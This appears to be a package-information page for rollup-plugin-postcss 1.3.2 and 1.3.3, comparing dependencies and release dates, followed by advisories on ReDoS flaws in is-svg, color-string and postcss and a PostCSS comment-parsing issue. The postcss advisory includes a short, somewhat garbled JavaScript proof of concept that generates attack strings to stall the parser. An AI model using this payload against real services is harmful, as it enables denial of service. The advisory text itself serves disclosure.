Rollup Plugin PostCSS streamlines the integration of PostCSS into Rollup workflows, letting developers seamlessly use modern CSS features and preprocessors within their JavaScript bundles. Version 1.3.3 and 1.3.2 share the same core dependencies, encompassing tools like cssnano for CSS optimization, postcss-load-config for configuration management, and postcss-modules for modular CSS. Development dependencies, including testing frameworks such as Jest and styling tools like Less, Sass, and Stylus, also remain consistent between the two versions, ensuring a familiar development environment for users upgrading.
While the core functionality is identical, subtle differences exist between these versions. The key distinction lies in the size of the unpacked package: version 1.3.3 has an "unpackedSize" of 33963 bytes, slightly larger than version 1.3.2's 33319 bytes implying bug fixes, performance enhancements, or minor feature adjustments. Furthermore, the releaseDate reveals that version 1.3.3 was published on March 5, 2018, while 1.3.2 was released on March 2, 2018, indicating a short interval between releases. Because of the small changes the bump version is only in the patch version number which suggests that it is minor changes. For developers currently using version 1.3.2, upgrading to 1.3.3 is advisable to take advantage of these refinements, although the update is unlikely to introduce breaking change.
All the vulnerabilities related to the version 1.3.3 of the package
Regular Expression Denial of Service (ReDoS)
The is-svg package 2.1.0 through 4.2.1 for Node.js uses a regular expression that is vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, is-svg will get stuck processing the input.
ReDOS in IS-SVG
A vulnerability was discovered in IS-SVG version 4.3.1 and below where a Regular Expression Denial of Service (ReDOS) occurs if the application is provided and checks a crafted invalid SVG string.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.